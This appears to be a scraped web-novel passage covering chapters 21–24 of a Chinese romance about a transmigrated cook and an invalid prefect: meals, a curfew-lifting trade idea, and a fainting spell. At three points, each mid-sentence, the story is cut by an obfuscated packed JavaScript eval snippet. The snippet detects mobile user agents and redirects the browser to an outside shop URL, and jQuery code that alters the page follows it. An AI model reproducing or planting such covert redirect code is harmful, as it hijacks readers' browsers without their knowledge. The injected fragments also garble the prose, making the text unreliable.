秦见君眨了眨眼,觉得没必要隐瞒,便坦然道:“因为在知州府能赚钱啊,我想攒钱开酒楼!” 她低头看裴眠:“就像你的抱负是海晏河清、百姓富足,我的抱负就是开一家酒楼,让很多人都吃上美食!” 裴眠看着她的眼睛,今夜月色明亮,洒在她眼里,像细碎的星子,他不自觉被感染、被牵引,就好像自己的抱负也像她的抱负那样“触手可及”...... 这样的心潮澎湃似乎只在自己初入朝堂时有过,如今重新感受到,竟恍如隔世,但滋味并不差。 借尸还魂也好,真的另有图谋也好,在她真的伤害自己之前,这些都可以当做不存在。 21.第 21 章 袁原去了许久都没回来。 秦见君抬头看看天,又低头看看地,犹豫了许久才小声问:“那我们......现在算是和好了吗?” “和好?”裴眠对这个词感到有些疑惑。 秦见君心里有些忐忑,不知道裴眠对这件事是怎么想的。 在她看来,两个人的关系一度僵到快要断开,她都做好被赶出府的准备了,那不就是“绝交”吗?现在可以留下来了,自然是“和好”了,难道裴眠又改主意了? 她的不安被裴眠看在眼里,裴眠觉得有些好笑:“算和好了。” 秦见君的眸子忽然抬起,有些亮。 “那......明天要做饭给你吗?”她问。 裴眠今日都没怎么吃东西,饿得不行,他抬眼看向秦见君,表情有些委屈:“现在可以做吗?” “啊?”秦见君记得裴眠没有吃夜宵的习惯,见他有些虚弱地往后靠了靠,秦见君忽然有些不可置信道,“你今天没吃饭?” “没吃多少,都吐了。”这是实话。 秦见君觉得齐冬青的诊断也不全是对的,至少裴眠不是谁做的饭都吃,他明明只吃自己做的! 她不再纠结袁原去哪儿了,而是自己将裴眠推到了厨房窗外,特地给他在窗台上燃了一盏烛火。 秦见君穿上围裙开始忙活,裴眠看着她,眼神一错不错的,半晌长长地舒了一口气,胃中的不适消散了许多。 秦见君起锅烧水,盖上锅盖,重新拿了碗装了一点水,接着磕了一个鸡蛋进去。 水开后将鸡蛋倒入锅中闷煮三分钟,凝固的蛋白裹住橙色蛋黄,捞起来时蛋白边缘薄弹滑嫩,落入碗中时晶莹透亮。 锅中水还开着,秦见君抓了一把面条放进去煮,转身拿了干净的碗,倒入酱油、猪油、盐、糖和胡椒碎,还切了一小把葱花进去。 裴眠看她用勺子捞了些煮沸的汤水进入酱料碗,再将煮熟的面条放入碗中,黄褐色的汤汁上浮着翠绿的葱花,薄薄的油水在烛火映照下形成一个个大小不一的光圈。 鼻尖已经能闻到猪油香气了,待秦见君将方才煮熟的蛋卧了上去,一碗阳春面就做好了。 “太晚了,吃点清淡的。”秦见君将面条端到窗台上,给裴眠递了一双筷子。 现下已经不是清不清淡的事了,裴眠肚子里空空如也,又只吃秦见君做的东西,如今即便是秦见君随手拿个冷了的馒头给他吃,他也能啃下去。 面条爽滑劲道,裹着在上面的汤汁迸发出鲜香气息,从舌尖一路鲜到喉咙。 裴眠感到温热的食物顺着食道往下,抚慰了他饱受折磨的胃,浑身都是说不出的舒坦。 忽然他像想起什么似的,抬头对秦见君道:“你昨日说要做千层饼。” 秦见君愣了一下,方才做面时她查看过了,给裴小之留的千层饼已经被取走,她只好承诺:“明早给你做。” “嗯。”得到了承诺,裴眠心满意足地低下头去吃面。 看裴眠吃得认真,秦见君知道他是真饿了,她熄了灶台边的烛火,只留了窗台这盏。 两人一里一外、一吃一看,中间围着一碗喷香的面条,还有一盏明亮的烛火...... 清明过后,天气便一天比一天热了起来,秦见君做饭时总是汗流浃背,裴眠让人在厨房四角都摆上了冰盆。 裴眠已经习惯了在厨房窗外看书,还特地派人在大树下摆上了石桌和石凳,秦见君做好饭菜便直接放在石桌上。 不吃饭时,石桌上便堆着信件和书册,秦见君在厨房忙活,裴眠就在外头一件一件处理。 裴眠偶尔也会闲下来,或者“被迫”闲下来。 “把这些菜摘了。”秦见君将一盆洗好的空心菜放在石桌上。 裴眠应了一声,他手里正写东西,秦见君凑过去看了看,有些字不认识,但见他已经快将这张纸写满了,便也没催他,转身忙别的去了。 裴眠停了笔,将纸挪到石凳上晾着,裴小之早就将石桌上其他信件都挪开了,一盆水灵灵的空心菜正摆在裴眠面前。 秦见君炒菜之余探头看了一眼窗外,裴眠与裴小之都在摘菜,她便收回了目光,抬手擦了一把汗。 已经六月了,虽然厨房四角都摆着冰盆,但厨房实在太大,她并不觉得有多凉快,可如果再加冰盆的话,又会妨碍她走动。 前段日子裴眠见她备菜热得满头大汗,冰盆也不管用,便主动说要帮她备菜,这才有了今日的景象。 说实话秦见君从未想过裴眠会帮她摘菜。 因为他平日里看着很娇气,坐在轮椅里站都站不起来,吃食上也是十分注意,不能晒太阳,回信时要用上好的笔墨,衣裳也是大半个月都不重样,有时新衣裳穿得不舒服了,他还会中途换一件舒服的...... 种种迹象都表明他是个矜贵的大少爷,可他又会主动提出帮忙摘菜,起先不认得菜还不会摘,但只需秦见君教一次,他便能记住,现在已经算是“得心应手”了。 “我说怎么淌虹苑没人呢,原来都聚在这儿!”厨房外传来一个男子的声音。 秦见君侧身望出去,裴眠身旁走过来个男人,一身蓝袍剪裁合身,衬得他身高腿长,似是察觉到有人在看自己,那男人转身对上秦见君的视线。 这人很风流,不单指长相,还有气质。 赵浅聿看秦见君不说话,便拉下脸道:“知州府的下人这么不懂规矩?见人不知道行礼?” 秦见君就没在知州府上见过什么“客人”,裴眠也不让她行礼,她不知道这人是谁,也不知道要行什么礼,但他看着好像有点生气了,秦见君便向裴眠投去求助的目光。 “别吓她。” 裴眠开口了,赵浅聿也绷不住笑了,对秦见君道:“开个玩笑,冒犯了,见谅。” 这人变脸太快,秦见君有些拿不准主意,只能继续求助似的看着裴眠。 裴眠冲她微微点头道:“这是过岭州知州,赵浅聿。” “赵大人。”秦见君只微微鞠躬喊了一句,也不知道这官位要不要下跪行礼...... 赵浅聿并不在意,朝她点点头算是应下了。 他低头去看裴眠,表情忽然变得十分精彩:“你在做什么?” “摘菜。”裴眠不再看他,专心摘菜去了。 “你?摘菜?”赵浅聿凑近看了看,是真的菜,裴眠也是真的在摘。 他反应过来后,立刻向秦见君投去佩服的目光:“小厨娘,你本事真大!这位从前可是出了名的十指不沾阳春水。” 秦见君顾着锅里的菜,只能转头勾了勾嘴角,扯了个笑容算是应付了。 “别吵她。”裴眠转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473199|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看向赵浅聿,“过来摘菜。” 赵浅聿的脸上写满了不可置信:“我?摘菜?” “不摘就别留着吃晚饭了。”裴眠道。 赵浅聿想起先前在裴府吃的香煎脆皮豆腐...... “摘,怎么摘?”他坐下撸起袖子,学着裴眠的样子开始摘菜。 秦见君想了想,让帮她烧火的小厮去大厨房借些米饭来,她今日煮的不够吃。 三个人很快就摘好了空心菜,裴小之给秦见君送过去了。 裴眠一边洗手,一边问赵浅聿:“什么事?” 赵浅聿也不绕弯子,直接道:“这些日子我没来你这边,是被我爹召到虔渊州去了,我听到了一些消息......” 裴眠抬眼看向他:“什么消息?” 赵浅聿压低了声音道:“你知道的,国库一向空虚,自你走后,官家守国库便更是心有余而力不足,如今已是要见底了。” “眼下南方正值汛期,连日下雨,伏江沿岸已有两处溃堤,若是雨不停,怕是有涝灾,朝廷拨不出款,我爹说官家在议事时发了火,勒令他们想法子赚钱,先后递上去几十份折子都被打下来了。” 裴眠听了,蹙起眉头,问:“可有派人去伏江?” “官家派了连立山过去。” “连立山?” “对,今年科举刚上来的,说是主动请缨。” “此人如何?” 赵浅聿叹了口气道:“是个老实人,欢州地界都是富户豪绅,他一个没碰,硬是跟守江的将士们吃糠咽菜挺了半个多月。” 裴眠也叹了口气,大荆朝不缺能人志士,可钱却被高官豪绅垄断,朝廷拨不了款出去,那些能人志士即便有再大的能耐也无法施展拳脚。 夜里吃过饭赵浅聿便告辞了,他一走,秦见君就凑到裴眠面前问:“他跟你说了什么?” “嗯?”裴眠装无辜。 “别装,自从他来了,你眉头就没松开过。”秦见君指了指裴眠的眉心问,“是虔渊州的事?” 这两个月来,裴眠每日好吃好睡,脸上已经长了些肉。 上个月秦见君端着自制的小糕点去明心阁劝了好几日,才将齐冬青劝出来给裴眠诊脉,半晌才道裴眠身子好了些。 当着裴眠的面,齐冬青都没忍住,稍稍露出点笑意来,秦见君这才放心。 如今赵浅聿来了一趟,裴眠心情肉眼可见地变差了,秦见君有些担忧,若是虔渊州的消息耽误了裴眠恢复怎么办? 裴眠见瞒不过,只好点点头。 “事情棘手吗?”秦见君好不容易将他喂出点肉来,可不能因为一点小事就瘦回去了...... “有些棘手......”裴眠将事情同秦见君讲了,他丝毫不避讳这是朝廷机密,反而有些期待地看着秦见君,直觉她能有出人意料的见解。 这段日子里,裴眠一直在厨房外的石桌上待着,两人日日相对,免不了要聊天。 他试探着讲了些朝堂旧事给秦见君,她不仅听得津津有味,还同他积极讨论,她的见地角度清奇,好几次都给裴眠带来惊喜,这次不知她会如何说...... 秦见君听完,皱了皱眉道:“确实有些棘手,但也不是毫无办法......” 裴眠微微坐直了身子,问:“什么办法?” 22.第 22 章 秦见君撅了撅嘴道:“我不说......”她脸上带着点小傲娇,“你不是不让我掺和朝堂的事吗?” 裴眠听了一愣,随即低头笑了一声道:“我的错,不该埋没你的才华。” 秦见君斜眼看他:“你知道就好,我对朝堂不感兴趣,但有些事,或许可以听听我的想法。” 这话是真心的,她的志向没那么远大,比起进入朝堂搅弄风云,她还是更想开一家大酒楼,守着自己的店铺和顾客。 面对大荆朝堂上的事,她想着好歹也考上过大学,虽然没去上,但历史和政治总归是学了的,具体的事不会安排,可大方向上提出点建议还是可以的。 裴眠表情认真地又同她道了一次歉,秦见君这下是一点脾气都没有了。 “现在的情况是钱都在富人手中,百姓手上钱不多,所以民间消费......交易极少,而有钱人的交易,很多都走暗线不过明路,收不着税,大荆国库自然空虚......” 裴眠集中注意听着,频频点头,道:“先前官家为了促进民间贸易,曾于上元节办烟火会,将百姓聚集在添河边共赏,可交易数却不如人意。” 秦见君摸了摸下巴,思考了一会儿,道:“只有一天放烟火吗?” “连着放了三日。”裴眠道。 “不够......”秦见君指着厨房里的莲花漏道,“你看,这才刚到戌时,外头街上就已经没人了,夏夜吃过晚饭,正是谈天休息的好时候,百姓们却因为宵禁而只能待在家中......”说完,她转头冲裴眠眨了眨眼。 裴眠自然看见了她的小动作,回道:“你的意思是,夏日再办一场烟火会,要办得比先前上元节更长一些?” “不够......”秦见君摇了摇头,索性不卖关子了,直言道,“需将宵禁撤了,只有白天能做生意,无论是种类还是玩法都太少,如果能开放宵禁,将百姓夜晚的时间开发出来,就是双倍的交易时间和交易数量,况且百姓是最懂民间需求的,只要给足时间,他们自然会找到生财之道。” 裴眠蹙眉,宵禁自前朝起便一直沿用,贸然要撤肯定是不行的,但秦见君倒是提醒了他,当初烟火大会虽然让添河边的铺子增了点收入,却远远不达官家预期,或许将时间延长,会有更大的收获呢? 正如秦见君所说,“他们自然会找到生财之道”,他记得烟火会第三日,添河边的摊贩多了起来,可惜还未成气候,烟火会便结束了...... 裴眠低头沉思。 秦见君看他这个样子,就知道他这是听懂了自己在说什么。 这些日子同裴眠聊天,她清楚地知道裴眠很聪明,熟悉大荆律例和官场之道,思维灵活、懂得变通,对新事物的接受能力很快,看事情的角度多且全,拉动GDP这个事儿只需要自己点一点,他自然会想通的。 果不其然,裴眠想了一会儿,表情便不似先前愁闷了,似是心中有了规划。 “怎么样?有想法了?”秦见君问。 裴眠看向她,眼里带着细碎的光:“有了,我现在要回书房去。” 秦见君二话不说将他推回了淌虹苑的书房,裴眠取纸笔的时候,她就在旁边研墨。 夜深了,树上蝉鸣不断,灼热的空气也总算有了一丝凉意,秦见君正趴在桌上犯迷糊。 还以为裴眠写一会儿就会结束,没想到他提起笔就停不下来了,秦见君实在撑不住,想着趴会儿,结果迷迷糊糊睡了过去。 裴眠文思泉涌,脑中想法不断,下笔如有神助,洋洋洒洒写了好几张纸才停下。 “你帮我看......”正想叫秦见君帮他看看这方案如何,转头便看见她趴在桌上睡着了。 似是趴着的姿势有些不舒服,秦见君拱了拱身子,还发出了微微鼾声。 她手臂垫在脑袋下面,脸颊上的肉被挤在一起,嘴唇微微嘟起,在白嫩皮肤的衬托下更加红润,看起来又娇又憨。 裴眠放下笔,没看纸上的东西,而是侧头去看秦见君。 这张脸虽然好看,但自己也看了好几个月了,照理说不该如此着迷,可不知为何,裴眠的目光总会被她吸引,备菜时的她、做饭时的她、打八段锦时的她、数工钱时的她......每个她都灵活生动、活力满满。 她说自己的抱负很小,只想开一家酒楼,但她又有洞察政事的大能力,实在是十分矛盾,引得裴眠忍不住想不断靠近,深入了解...... 翌日一早,秦见君在落霞轩醒来,睁眼后意识缓慢回笼:昨晚我好像在书房睡着了,谁送我回来的? 她低头看了看,衣裳都没换,只脱了鞋子,探头看窗外,天色还早,她晃晃悠悠起来泡了个澡。 换上干净衣裳后,她照例在院子里打八段锦,恰好到“摇头摆尾”时,裴眠像往常一样到了院门前等她。 秦见君照着呼吸节奏一丝不苟地打完八段锦,这才走向裴眠,袁原和裴小之都各自忙去了,她便推着裴眠去厨房。 路上忍不住问:“昨晚谁送我回来的?” “袁原。”裴眠语气有些生硬。 昨夜秦见君睡熟了,他不忍心叫醒她,可自己也无法从轮椅中起身将她送回去。 他已经许久都站不起来了,按说早该习惯了,可昨晚他却生出一股气来,气自己身子不争气站不起来...... “嗯......”秦见君一边应着,一边想要如何感谢袁原。 “不必谢他,是我让他送你回来的。”裴眠像是看穿了她在想什么,及时打断了她。 “啊?”秦见君有些发懵,可毕竟袁原出了力...... “要谢就谢我。” “哦......”秦见君答得心不在焉。 裴眠一看就知道她并未听进去,心里只怕在盘算着要如何感谢自己和袁原两人。 一整个早上,裴眠都有些闷闷的,秦见君不解,问他是不是昨日的方案遇到了瓶颈,他却只是摇了摇头。 午饭前,裴眠说要去明心阁,秦见君将他送了过去,又回厨房去做饭。 “你怎么来了?”见裴眠过来,齐冬青没什么好脸色。 前段日子秦见君来请齐冬青,齐冬青推辞了好几次,心中十分不满,明明是裴眠有错在先,怎么是小厨娘来低头? 最后还是不情不愿地去给裴眠把了脉,即便知晓他身子有好转,也努力忍住没露出什么笑,板着脸去板着脸回,期间裴眠也并未同他道歉。 现下再看见裴眠,简直气不打一处来。 裴眠:“......” 自家大夫医术高明,就是脾气不好,像个孩子似的,丁点大的事记仇记了三四个月,气是一点都消不下去...... 好说歹说才将齐冬青哄好,裴眠额角都出汗了。 齐冬青从鼻子里哼哼了两声,仰着头道:“所以你来找我做什么?无事献殷勤......” 裴眠抬了抬手道:“想让齐大夫再给我把把脉。” 齐冬青掀起眼皮睨了他一眼,唤小药童取了药箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489039|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,仔细给裴眠诊脉,许久才收回手:“你想问什么?” “我这身子......”裴眠顿了顿,声音也小了许多,“何时能站起来?” “呵?”齐冬青似是听了什么笑话般,嘴角扯出一个笑来,“你想站起来?” 这事裴眠心里也没底,先前得知自己站不起来时,他并不觉得难受,只是觉得行动不便,往后要多多依靠袁原。 后来被贬到绵州,心中烦闷,甚至一度想破罐子破摔,先将朝堂的事了了,身子坏了便让它坏,索性吃不下东西也活不了几年...... 可如今不同了,他能吃下东西了,这段日子也明显觉得身上长了些肉,也有了些力气,尤其是......他偶尔看到秦见君眼中的同情之色,有些被刺痛,他向来只会收到小娘子的爱慕眼光,何时受过这等委屈? 总之......不想她那样看自己......也不想下次她睡着了还要叫袁原来送她回落霞轩...... 看到裴眠的落寞神情,齐冬青难得没呛声,只幽幽道:“你这身子想站起来,有些难......” 裴眠的表情迅速暗淡下去,齐冬青看着他长大,最知道他从前是怎样的肆意张扬,如今被困在轮椅上,自己也为他意难平。 “但也不是做不到,只是难!”齐冬青补了一句。 裴眠又抬眼去看他,眼中充满了期待,目光灼灼看得齐冬青老脸发烫。 “这段日子吃得好,心里想的事也少,身子大有好转了,但亏空太久,一时半会儿想站起来是不能的。”齐冬青道,“我给你开些补药,你三餐饭后吃,一日不落、一餐不落,一个月后再来给我把脉。” 听到有站起来的可能,裴眠自然是愿意吃药的,当晚就带了几大包草药回去。 秦见君看他带药包回来,还以为齐冬青诊出了什么新毛病,忧心忡忡地问他怎么了。 裴眠表情有些不自然,只说是对身子好的补药,从前的身子虚不受补,如今有底子了,吃补药能好得快些。 “那就好......”秦见君松了口气,还以为裴眠身子又不好了。 他平时就因为瘦弱而行动不便,不能吹风、不能淋雨、不能晒太阳,吃食上自己也十分谨慎,若是再出问题,那她也不知道要怎么办才好了。 这时裴小之拎着一个木盒沿着石甬路过来了:“郎君,珍馐楼的桃子冰酪,我排队带了四份回来!” “桃子冰酪?”秦见君走上前看。 裴小之将木食盒打开,里头是四碗淡粉色的牛乳甜水,盖子打开的瞬间,一股清凉气扑面而来,秦见君问:“冰的?” “是啊,下面垫着一层冰呢,快来吃,不然该化了!” 裴眠将袁原喊了出来,一时间只听到调羹碰到瓷碗的脆响,四人都吃得极认真。 牛乳香气扑鼻,又带着桃子清香,口腔里冰爽甜蜜、细腻顺滑,秦见君一口接着一口,没几下就喝完了。 “好喝吗?”裴眠问。 “嗯!好喝!”秦见君舔了舔唇角,意犹未尽。 “还喜欢珍馐楼的什么菜?让小之带回来就好。”裴眠道。 秦见君摇摇头:“我不知道珍馐楼有什么菜色,没吃过......” 裴眠有些惊讶,秦见君的工钱不少,在绵州也待了好几个月了,怎么会没去过珍馐楼? 秦见君想起房大河的嘴脸,一时有些不知从何说起,还是袁原上前将珍馐楼门前的事说了 裴眠听完,脸色有些差。 23.第 23 章 六月的正午太阳很大,裴眠坐在树荫下,方才被桃子冰酪带走的热气被袁原的话给送了回来,还有愈演愈烈之势。 “午饭不做了,去珍馐楼。”裴眠道。 秦见君顿了顿,菜还没下锅,倒是随时可以喊停,但裴眠不是不出门的吗...... 半个时辰后,袁原推着戴了白色帷帽的裴眠停在珍馐楼前,裴小之和秦见君就跟在身后。 正是吃午饭的时候,珍馐楼前人来人往,好不热闹。 欢门前迎客的伙计走过来,嘴里一边念叨着:“不巧了客官们,今日珍馐楼桌位已满,还望各位......” 袁原递出了木牌,那人一看,愣了愣,低头细看了看,不可置信地抬头看着面前四位,半晌才反应过来似的,忙弯了腰,脸上堆着笑,将四人迎了进去。 伙计引着四人上了二楼,直接拐入了雅间。 雅间中央摆着大桌子,桌布材质与桌角雕花工艺都是极好的,旁边的大窗外送来徐徐清风,还夹杂着街上的闹嚷声,不吵,反衬得雅间更静。 秦见君坐下后左右看着,感觉这里不比现代的仿古餐厅雅间差,甚至因为细节真实,比现代更加精致漂亮。 “各位客官要吃什么?今日珍馐楼特供水晶明珠、黄金台上、翔鱼潜......” 待他叭叭说了一串后,裴眠便看向秦见君,问:“想吃什么?” 秦见君茫然地看着这位正在报菜名的伙计——说的啥?大荆都是这么取菜名的? 她转头看向裴眠,摇头道:“我不知道......你点吧。” 想起她说自己没来过珍馐楼,裴眠便会意颔首,转头对伙计报了一串菜名,那伙计记下后退了出去。 雅间里没其他人了,秦见君这才开口问:“刚刚他说的水晶明珠是什么?” 裴小之正在倒茶,闻言随口答道:“红烧蹄髈。” “那黄金台上呢?” “黄金鸡。” 秦见君:“......” 原来大荆的大酒楼是这个风格,别说这菜名她听不懂,现在就是把菜名都写下来,她也不一定每个字都认识,如果以后要自己开酒楼,那还要抽空先把字认全了才行...... 菜上得很快,道道色香味俱全,看来绵州头部酒楼的厨子还是有两把刷子的,秦见君难得吃得这么畅快。 待四人都吃饱了,裴眠喊来伙计,对他耳语了几句,没一会儿,房大河便进了雅间。 六月在后厨待着犹如蒸桑拿,房大河此时正是浑身湿透,面上和脖颈上用汗巾擦过,但泛红的皮肤还是昭示着这具身体有多热。 他进门便看见了坐在桌边的袁原,吓得站在门边不敢动,随即又侧头去看裴眠,这下更不敢动了。 “知......知州大人......”房大河两股战战,他再眼瞎也能看出来谁是知州大人本人。 裴眠虽然坐在轮椅中,气势却极强,他只懒懒靠在那儿,凭着冰冷的眼神就能将房大河戳个对穿。 这还是秦见君第一次见裴眠拿出这样的气势,从前在府中时他看起来是很温和无害的,即便是一个月前逼问自己是何人时,他也只是神色含冰,没这么重的杀气...... “前些日子,本官府上的厨娘在珍馐楼前与房大厨见过一面。”裴眠说得不急不缓,声音有点冷。 房大河低着头,听裴眠这么说,忙点点头,下巴上挤出两圈肉跟着颤。 “那日发生了什么,房大厨还记得吗?”裴眠问。 房大河知道这是找自己算账来了,忙跪下磕头:“无意冒犯无意冒犯......”见裴眠不为所动,他便转过身去朝秦见君磕头,“小娘莫怪罪,那日是我昏了头......” 秦见君可受不得别人跪拜,忙站起身让开了。 裴眠见她浑身不自在的样子,便挥手让房大河出去了,胖厨子如蒙大赦,一边擦着额头豆大的汗珠一边往外退。 “消气没?”裴眠问。 秦见君心里有些不舒服,她知道古代等级森严,官大一级压死人,可裴眠这样仗势欺人,同那些滥用职权、欺压百姓的官员又有什么不同呢? 她深吸了一口气,扯出一个笑来:“我没生气......” 无论如何,裴眠这是在为她出气,她得承这个情,因为她忽然意识到,无论是房大河还是自己,都只是裴眠可以随意摆布的“下人”罢了。 方才裴眠看房大河的眼神,就像在看一条将死的狗,轻蔑又冰凉,秦见君忍不住背后寒毛直竖。 在府中待久了,还以为裴眠真的是什么脾气好、情绪稳定的贵公子......仔细想想,他身处这个社会,又怎么可能脱离这个社会的规则而存在呢? 秦见君忽然觉得肚子有些不舒服,一想到或许有一日裴眠也会用那样的眼神看着自己,她就觉得刚才吃进去的饭菜都在胃里翻腾,搅得腹部不得安宁。 发觉秦见君脸色不好,裴眠蹙眉问:“怎么了?” “肚子不舒服......”秦见君伸手捂了捂肚子,道,“我们回府吧大人?” “走。” 一路上秦见君都觉得有些头昏脑涨的,这感觉隐隐有些熟悉,但她一时间又想不起来。 期间裴眠同她说话,她也只是闷闷回了两句,算不上热情,甚至能隐约感觉出来有些冷淡。 回了厨房,她便继续备菜,裴眠还是在石桌上写东西。 自珍馐楼回来后,裴眠便觉得秦见君不对劲,她宁愿自己累得满头大汗,也不愿喊自己帮忙摘菜...... 手中的毛笔尖停在纸上许久,洇开一滩墨迹,裴眠发现后默默将笔放下,抬头去看秦见君。 她正低着头摘菜,额角沁汗,唇色发白。 裴眠抬头看了看,今日太阳刺眼,天空一丝云都没有,想必厨房中此时正如蒸笼。 “秦见君。”他喊。 秦见君有些晕晕乎乎的,手中翠绿的菜慢慢出现了重影,她感觉自己的脑袋好重,肚子好难受,忽然感受到一股暖流喷涌而出,她倏地睁大眼——来月经了? 还没等她低头看,便觉得眼前一阵发黑,手脚瞬间无力,失去意识后直接摔了下去,额角磕在墙边的酸菜坛子上,鲜红的血缓缓淌出。 她倒下的同时,裴眠双手用力撑住轮椅,身体前倾,却忘了自己的双腿还无法站立,从轮椅上摔了下去,挣扎了半天也没爬起来。 “袁原!袁原!”喊了两声,他忽然想起来,袁原被他派出去办事了,于是又喊,“小之!” 秦见君摔在地上的声音很大,他还听到了瓷器碰撞的声音,若是碰碎了碗,锋利的瓷片便是致命的危险,他一边大声喊裴小之,一边往前爬,也不顾泥土都沾在了衣裳上。 “郎君!这是怎么了?”裴小之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499445|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到响动跑了过来,一眼便看见裴眠趴在地上,浑身是土,他吓得差点绊倒自己,冲过去想扶裴眠起来。 “快进去!她摔倒了!”裴眠挥开裴小之伸过来的手,指着厨房喊。 裴小之愣了一瞬才反应过来他在说什么,见裴眠面色焦急,便急忙起身进了厨房。 秦见君躺在地上不省人事,头上还破个洞哗哗流血 裴小之吓得红了眼眶,他将秦见君扶起来,让她靠坐在墙上,又出去将裴眠扶回轮椅中,眼泪直掉:“我、我去叫人!去叫齐大夫来!”说着,他转身边跑边喊,府中一阵兵荒马乱...... 月上中天,蝉鸣不断,扰人清梦。 秦见君被蝉鸣吵醒,意识还未清醒,直愣愣盯着房梁看了会儿,才听见耳边有人在叫自己。 “醒了?” 她转头去看,是裴眠。 是裴眠,却不像裴眠,因为他平日里都是干干净净、漂漂亮亮的,眼下却满身泥土,连头发都乱了,秦见君有些不敢认。 “你......怎么了?”秦见君张嘴才发现自己嗓子沙哑。 裴小之忙递过去一杯水:“秦小娘你可算醒了!” 润过了喉咙,秦见君这才觉得好受了些,问:“我怎么了?”她记得从珍馐楼出来后自己就很不舒服,昏倒的前一秒好像是感觉来月经了...... 裴小之接过空杯子,眼睛还红肿着,嘟囔道:“齐大夫说你先前吃冰太急,又逢上......逢上来月事,加之厨房闷热难耐,这才突然昏倒。” 秦见君摸了摸头上的纱布,应该是摔倒的时候撞破的,感觉头还有点晕,她便倒回床上松了口气,还以为自己忽然昏倒是得什么绝症了呢...... 她确实有这个毛病,平时来月经都比较准时,也不怎么痛,只是如果恰好在来月经前两天吃冰的东西,就一定会痛经,难怪总觉得这难受的感觉很熟悉...... 裴小之见自家郎君面色阴沉,秦见君又醒了,他便端着空杯子说要出去换水,顺手将门也带上了。 “我是昏倒了摔的,那你这是?”秦见君躺在床上,头和小腹都觉得不舒服,只能转头去看裴眠。 他狼狈的样子还是挺新鲜的,本来中午看他那盛气凌人的样子还有点怕他,这会儿看,又觉得他像被主人扔掉的落寞小狗,一点威胁力都没有,反而让人心生怜爱。 裴眠现下心情复杂,秦见君没事自然是好,只是他想站起来的心又更加迫切了,偏生此事又急不得...... “我没事......”裴眠声音低低的,算是回了秦见君的话。 看来他的心情很不好,还是别惹他了...... 秦见君选择闭嘴,自己这条小命才刚捡回来,可不能又丢在裴眠手上了。 裴眠见她转过脑袋去闭目休息,一时气闷,从珍馐楼回来就如此,刻意冷落自己,他有些想不到自己是哪里做错了。 带她去珍馐楼找回场子,还请她吃了一顿好的,怎么到头来是这种冷遇? 裴眠想不通,看着躺在床上闭目养神的小娘子,他握了握拳,想捏她脸,但想了想还是忍住了,她刚刚才醒过来,脆弱得很。 秦见君闭眼想睡觉,但裴眠的存在感太强,她努力了一下,发现睡不着,便又睁眼转头问他:“大人不去休息吗?” 裴眠有些不可置信:她这是在赶我走吗? 24.第 24 章 裴眠回淌虹苑后并未洗漱睡觉,而是去了书房,将纸上的方案改了又改,眉头紧紧蹙着,待他自己发觉时,眉心都有些酸痛了。 裴小之有些惊奇,从前自家郎君处理这些事情最多也只是皮笑肉不笑的,极少真的有什么情绪,怎么今日看着有些气愤? 烛火摇曳,渐燃渐短,窗外连蝉鸣声都稀疏了。 裴小之忍不住打了个呵欠,被裴眠的眼刀刮了一下,他忙甩甩头,圆眼瞪得老大,似是在证明自己一点都不困。 裴眠总算停了笔,他盯着纸看了许久,久到裴小之以为他对方案不满意,又要重新改了,没想到他忽然开口道:“小之。” 裴小之忙倾身去听。 “你说......我有哪里得罪了秦小娘吗?”裴眠问。 裴小之懵了一下,这话从何说起?自家郎君与秦小娘日日在厨房相处,从各忙各的变成默契相助,闲时还一起谈天说地,怎么就得罪了? “怎么了?郎君为何这么觉得?”裴小之的好奇心上来了。 “她今日......有些刻意冷落我......”裴眠的声音低低的,似是呢喃般,但在这静谧的夜里还是十分清晰地传入了裴小之的耳朵。 “冷落?”裴小之眼睛都瞪大了,自家郎君怎么会用“冷落”这个词?向来只有他冷落别人的份啊! 裴小之回想了一下今日发生的事,并不觉得裴眠被冷落了,但又怕自己乱说话给秦见君带来麻烦,便宽慰裴眠道:“许是秦小娘今日身子不适,不想被人打扰?郎君身体不适的时候,也不许我进屋服侍的......” 裴眠听了,觉得有些道理,虽然心里有些不舒服,但也勉强接受了这个说法,或许她明日身子好了,便能像从前一样了。 这夜秦见君压根没睡好,肚子疼得不停跑茅房。 又一次从茅房出来后,她捂着空荡的胃轻轻揉了揉,小腹也隐隐作痛,若不是齐冬青说她是痛经,她都要怀疑珍馐楼的房大厨是不是给自己下毒了...... 从茅房回屋子很近,但她痛得感知不到自己的腿了,没控制好抬腿的高度,一脚踢在了台阶上。 “嘶......”她走不动了,弯腰蹲在黑黢黢的院子里,远处天边已经有些泛白了。 痛经不似受伤,痛感并非具体且尖锐的,而是弥散的、找不到源头的,让人浑身不舒服却又无可奈何。 